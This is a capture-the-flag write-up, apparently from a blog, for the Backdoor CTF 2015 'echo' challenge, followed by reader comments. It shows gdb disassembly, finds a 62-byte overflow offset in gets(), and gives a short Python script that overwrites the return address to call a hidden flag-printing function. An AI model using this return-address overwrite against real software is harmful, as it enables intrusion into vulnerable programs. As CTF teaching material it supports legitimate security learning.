I made a rough outline of the binary file given to us,
sample()
{ Reads a file called flag.txt and writes to stdout. flag.txt is stored in the server; }
test()
{ Gets the user input and displays back the input in stdout; }
main()
{ calls the test() function; }
Our task would be to:
1. Overflow the buffer using gets()
2. Find out the number of bytes between buffer and the return address.
3. Overwrite the return address of test() function to sample() function’s address, which would eventually return us the contents of flag.txt
You may find different addresses when you work out, since I changed the permission of the binary to 777. To get the flag, you should not be changing the permissions to 777. When you run the script please give the return address to be 0x0804857d instead of 0x0804854d. The explanation given below is done after changing the permission to 777.
The problem was not clear initially, as the sample() function was not called either from the main() or from the test() function. I found the sample() function when I tried to run objdump on the given binary.
Here is the screenshot of sample function when the permission of the binary is not changed.
Our next function is test(), where we can find the gets() function, which is vulnerable to buffer overflow. Now will test the vulnerability before proceeding further.
➜ backdoor [139] ./echo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 4671 segmentation fault (core dumped) ./echo
Well it worked. Here is the test function’s assembly code,
(gdb) disas test
Dump of assembler code for function test:
0x080485c0 <+0>: push ebp
0x080485c1 <+1>: mov ebp,esp
0x080485c3 <+3>: sub esp,0x58
0x080485c6 <+6>: lea eax,[ebp-0x3a] <—— target!
0x080485c9 <+9>: mov DWORD PTR [esp],eax
0x080485cc <+12>: call 0x80483d0 <gets@plt>
0x080485d1 <+17>: mov eax,ds:0x804a034
0x080485d6 <+22>: lea edx,[ebp-0x3a]
0x080485d9 <+25>: mov DWORD PTR [esp+0x8],edx
0x080485dd <+29>: mov DWORD PTR [esp+0x4],0x80486ab
0x080485e5 <+37>: mov DWORD PTR [esp],eax
0x080485e8 <+40>: call 0x8048420 <fprintf@plt>
0x080485ed <+45>: leave
0x080485ee <+46>: ret
End of assembler dump.
Now will find the address of the buffer by analyzing the stack contents by putting a break point after the gets() function call (i.e at 0x080485d1).
(gdb) b *0x080485d1
Breakpoint 1 at 0x080485d1
(gdb) r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, 0x080485d1 in test ()
Will now inspect the address stored in eax, which must be our buffer.
‘a’ repeats 67 times so this confirms that buffer’s address (0xffffd24e) is stored in eax. Our next aim is find the address of saved eip (a.k.a return address). This can be done by seeing the frame contents in gdb. “info frames or just i <space> f”
(gdb) i f
Stack level 0, frame at 0xffffd290:
eip = 0x80485d1 in test; saved eip = 0x61616161
called by frame at 0xffffd294
Arglist at 0xffffd288, args:
Locals at 0xffffd288, Previous frame’s sp is 0xffffd290
Saved registers:
ebp at 0xffffd288, eip at 0xffffd28c
Look at the saved eip’s value -> 0x61 corresponds to “a”. This means we have overflowed the buffer and overwritten the return address. Now we don’t want “a” i.e 0x61 in our saved eip, instead we want to store the sample() function’s address. Sample function address can be found at 0x0804854d. The saved eip’s location is at 0xffffd28c (see above). To overwrite the return address with our sample function’s address, we will subtract the buffer address from the saved eip, which will give the number of bytes we need to overflow.
(gdb) print 0xffffd28c-0xffffd24e
$1 = 62
So we have to enter 62 “a”s followed by the sample() function’s address for a successful exploitation. Here is the script which was written by my teammate( 😛 😛 hacker), which helped us to get the flag.
#!/usr/bin/python
from struct import pack
padding = "A"*62
sample = 0x0804857d #Script will work with 0x0804857d since I changed the permissions locally.
def main():
payload = padding
payload += pack("<I", sample)
print payload
if __name__ == "__main__":
main()
So the flag is 96f674623c2c378f89700aa46f02cf3b311489f0fac6fd5885d4bc1a129a. Credit goes to you as well b3h3m0th 😛



Hi, I am wondering why the target address is 0x804857d but the sample() address is 0x804854d?
I did a chmod +x on the binary before opening in gdb. That is why I am getting 0x0804854d as sample()’s return address. Without chmod +x on the binary would give 0x0804857d as sample()’s address.
(gdb) disas sample
Dump of assembler code for function sample:
0x0804857d : push %ebp
0x0804857e : mov %esp,%ebp
0x08048580 : sub $0x88,%esp
0x08048586 : movl $0x80486d0,0x4(%esp)
0x0804858e : movl $0x80486d2,(%esp)
(stripped)
BTW Thanks for pointing it out. I mentioned it above.
Thanks a lot, I also got 0x0804854d and fail to call the sample() remotely and now I know why.
You are welcome ww9210 🙂
[…] Đây là Write-ups sau khi được tham khảo từ https://shankaraman.wordpress.com/2015/04/02/backdoor-ctf-2015-echo-writeup/ […]